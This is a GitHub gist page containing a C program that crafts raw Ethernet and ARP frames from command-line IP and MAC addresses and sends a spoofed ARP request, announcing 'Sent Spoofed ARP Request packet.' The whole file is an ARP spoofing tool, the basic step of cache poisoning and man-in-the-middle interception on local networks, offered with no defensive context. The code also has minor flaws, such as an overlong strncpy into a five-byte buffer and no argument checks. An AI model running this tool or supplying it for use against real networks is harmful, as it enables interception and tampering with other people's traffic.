Skip to content

Instantly share code, notes, and snippets.

@maakunh
Created October 24, 2017 08:06
Show Gist options
  • Save maakunh/e196e1d53a705f178c41c4c63d4cf23f to your computer and use it in GitHub Desktop.
Save maakunh/e196e1d53a705f178c41c4c63d4cf23f to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
struct arp_hdr
{
unsigned short int hardware;
unsigned short int protocol;
char hw_addr_len;
char proto_addr_len;
unsigned short operation;
char src_addr[6];
char src_ip[4];
char dst_addr[6];
char dst_ip[4];
};
void send_arp_packet(char *src_mac, char *src_ip, char *dst_mac0, char *dst_ip, char *dst_macf) {
int sock, i;
unsigned int buffer_size = sizeof(struct arp_hdr) + sizeof(struct ether_header);
unsigned char buffer[buffer_size];
memset(buffer, 0, buffer_size);
struct ether_header *eth = (struct ether_header *)buffer;
struct arp_hdr *arp = (struct arp_hdr *)(buffer + sizeof(struct ether_header));
char dev[5];
strncpy(dev, "eth0", 6);
if ((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP)))==-1) {
perror("socket");
exit(EXIT_FAILURE);
}
/* Ethernet header */
memcpy(eth->ether_dhost,dst_macf,ETHER_ADDR_LEN);
memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN);
eth->ether_type = htons(ETHERTYPE_ARP);
/* ARP header */
arp->hardware = htons(ARPHRD_ETHER);
arp->protocol = htons(ETH_P_IP);
arp->hw_addr_len = 6;
arp->proto_addr_len = 4;
arp->operation = htons(ARPOP_REQUEST);
memcpy(arp->src_addr, src_mac, 6);
memcpy(arp->src_ip, src_ip, 4);
memcpy(arp->dst_addr, dst_mac0, 6);
memcpy(arp->dst_ip, dst_ip, 4);
struct sockaddr addr;
strncpy(addr.sa_data, dev, sizeof(addr.sa_data));
if ((sendto(sock, buffer, buffer_size, 0, &addr, sizeof(struct sockaddr)))==-1) {
perror("sendto");
exit(EXIT_FAILURE);
}
printf("Sent Spoofed ARP Request packet.\n");
close(sock);
}
char *inetaddr(u_int32_t ip) {
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
int main(int argc, char *argv[]) {
struct ifreq if_data;
int sockd;
int i;
/* IPs & MACs */
char S_ip[4];
char S_mac[6];
char S_mac2[6];
char V_ip[4];
char V_mac[6];
int tmp[26];
memset(V_ip,0,4);
memset(S_ip,0,4);
/* destination IP */
sscanf (argv[1], "%d.%d.%d.%d", &tmp[0], &tmp[1], &tmp[2], &tmp[3]);
V_ip[0] = tmp[0];
V_ip[1] = tmp[1];
V_ip[2] = tmp[2];
V_ip[3] = tmp[3];
/* destination MAC */
sscanf (argv[2],"%x:%x:%x:%x:%x:%x", &tmp[4], &tmp[5], &tmp[6], &tmp[7], &tmp[8], &tmp[9]);
V_mac[0] = (unsigned char) tmp[4];
V_mac[1] = (unsigned char) tmp[5];
V_mac[2] = (unsigned char) tmp[6];
V_mac[3] = (unsigned char) tmp[7];
V_mac[4] = (unsigned char) tmp[8];
V_mac[5] = (unsigned char) tmp[9];
/* source IP */
sscanf (argv[3], "%d.%d.%d.%d", &tmp[10], &tmp[11], &tmp[12], &tmp[13]);
S_ip[0] = tmp[10];
S_ip[1] = tmp[11];
S_ip[2] = tmp[12];
S_ip[3] = tmp[13];
/* source MAC */
sscanf (argv[4],"%x:%x:%x:%x:%x:%x", &tmp[14], &tmp[15], &tmp[16], &tmp[17], &tmp[18], &tmp[19]);
S_mac[0] = (unsigned char) tmp[14];
S_mac[1] = (unsigned char) tmp[15];
S_mac[2] = (unsigned char) tmp[16];
S_mac[3] = (unsigned char) tmp[17];
S_mac[4] = (unsigned char) tmp[18];
S_mac[5] = (unsigned char) tmp[19];
/* source MAC */
sscanf (argv[5],"%x:%x:%x:%x:%x:%x", &tmp[20], &tmp[21], &tmp[22], &tmp[23], &tmp[24], &tmp[25]);
S_mac2[0] = (unsigned char) tmp[20];
S_mac2[1] = (unsigned char) tmp[21];
S_mac2[2] = (unsigned char) tmp[22];
S_mac2[3] = (unsigned char) tmp[23];
S_mac2[4] = (unsigned char) tmp[24];
S_mac2[5] = (unsigned char) tmp[25];
printf("SrcMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", S_mac[0], S_mac[1], S_mac[2], S_mac[3], S_mac[4], S_mac[5]);
printf("DstMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", V_mac[0], V_mac[1], V_mac[2], V_mac[3], V_mac[4], V_mac[5]);
if ((sockd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket");
exit (0);
}
send_arp_packet(S_mac, S_ip, V_mac, V_ip, S_mac2);
sleep(1);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment